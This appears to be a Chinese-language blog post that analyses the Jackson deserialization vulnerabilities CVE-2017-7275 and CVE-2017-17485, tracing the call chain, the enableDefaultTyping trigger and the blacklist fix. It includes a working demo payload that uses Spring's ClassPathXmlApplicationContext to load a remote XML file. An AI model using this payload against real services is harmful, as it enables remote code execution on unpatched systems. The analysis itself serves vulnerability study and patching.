开始
我们来分析Jackson的反序列化漏洞,包含以下两个CVE.
1. CVE-2017-7275
2. CVE-2017-17485
由于CVE-2017-7275采用黑名单的方法修复程序,CVE-2017-17485在绕过该黑名单.所以下文以CVE-2017-17485的demo作分析.
影响版本
- Jackson Version 2.7.* < 2.7.10
- Jackson Version 2.8.* < 2.8.9
debug环境
- jdk 1.8.0_181
- jackson 2.6.7
debug代码
漏洞触发的条件,以下满足任意一个:
-
mapper.enableDefaultTyping();
-
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
-
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", " +
""http://127.0.0.1/poc.xml"]n";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
原理分析
漏洞触发入口:
mapper.readValue(payload, Object.class)
,跟进去,跳过一些不重要的过程,跳过的调用栈如下:
我们来看
_deserialize
的方法,源码如下:
上述源码中框起来的是三个关键的方法,先来看String typeId = _locateTypeId(p, ctxt);,这个方法名字就是定位类型id,什么类型呢?当然是将要反序列化类的类型.跟进去,源码如下:
从源码可以发现,通过jp(jp就是jackson中解析json解析器,这是因为我们传进去的是一个json array数据,在前面省略部分初始化的,有兴趣可以debug看下)得到第一个string返回.也就是我们的
org.springframework.context.support.ClassPathXmlApplicationContext
.具体的实现是首先迭代出jsontoken对象,判断类型为string,接着调用
jp.getText()
获取该值.
回过头来继续看第二个关键的方法
_findDeserializer
,传进去的参数typeId的值为
org.springframework.context.support.ClassPathXmlApplicationContext
,源码如下:
上述源码,开始是从_deserializers(一个hashmap)去查找,当然为null,接着调用_idResolver.typeFromId,传入的为type_id,跟进这个方法:
继续跟进.
从上述源码发现,调用findClass方法,传入的id为先前的type_id,返回的是一个class对象,可以推测里面调用了class.forName方法.跟进去果然是这样.
接着调用
constructSpecializedType
方法将刚才得到的class封装成javaType并返回,这样
_idResolver.typeFromId
执行完了. 再看
_findDeserializer
方法的下面的操作,来看
deser = ctxt.findContextualValueDeserializer(type, _property)
,里面调用有点长,有些不太清楚,主要的操作将刚才封装的JavaType继续封装成BeanDeserializer(可以理解为待实例化的bean类,继承JsonDeserializer).接着存入
_deserializers
中.至此,第二个关键方法
_findDeserializer
的操作结束. 做个小结吧.
_findDeserializer
,首先通过
typeFromId
方法做了两件事: 1. 读取传入的
org.springframework.context.support.ClassPathXmlApplicationContext
. 2. 反射
org.springframework.context.support.ClassPathXmlApplicationContext
生成对应的class,并封装在javaType类中.
接着调用
ctxt.findContextualValueDeserializer
转化成待实例化对象.那么接下来要做的应该是读取传入的
http://127.0.0.1/poc.xml
,并作为org.springframework.context.support.ClassPathXmlApplicationContext的参数实例化该类. 最后我们来看第三个关键方法是不是这样的.跟进
deser.deserialize(p, ctxt)
.源码如下:
从上述源码中可以看到,首先调用p.nextToken(),和上面获取
org.springframework.context.support.ClassPathXmlApplicationContext
一样.接着调用p.getCurrentToken()获取当前值的类型.最后在
_deserializeOther
中进行进一步处理.跟进
_deserializeOther
.
跟进
deserializeFromString(p, ctxt)
.
_objectIdReader=null
,继续跟进_valueInstantiator.createFromString(ctxt, p.getText()).传入的p.getText()的值为
http://127.0.0.1/poc.xml
.
看到这个call(有调用的意思),感觉接近了.继续跟进:
终于我们看到了以
http://127.0.0.1/poc.xml
为参数对
org.springframework.context.support.ClassPathXmlApplicationContext.
进行实例化.后面就会触发漏洞了.
两个问题
一. 为什么要求mapper.enableDefaultTyping()?
先看一下mapper.enableDefaultTyping()设置了以下参数.
其中最关键的设置了
_typeResolverBuilder
. 我们再来对比一下
_readMapAndClose
.源码如下:其中
result = deser.deserialize(jp, ctxt);
,就是我们分析的入口.
1.未设置enableDefaultTyping
2.设置enableDefaultTyping
可以发现,一个得到的是UntypeedObjectContext,另一个是DefaultCOntext.这就是设置原因. 在
_findRootDeserializer
里面的有一个操作来判断的:
从源码中可以发现,通过config.getDefaultTyper获取默认的类型.跟进其中.
里面其实就是判断是否设置_typeResolverBuilder,没有就会返回null,为UnTyped.
二. org.springframework.context.support.ClassPathXmlApplicationContext的利用链?
该利用链的原理就是spel注入.先贴个别人的文章,后续去debug分析分析.
SpEL表达式注入漏洞总结
修复
修复debug版本使用的是2.8.10. 修复出现在前面所说的封装BeanDeserializer前,加入黑名单判断,源码如下:
可以发现,在最终返回前调用了
_validateSubType
(验证类型)方法.跟进看看:
可以发现,里面就是黑名单的判断.其中
_cfgIllegalClassNames
为一个set集合.数据如下: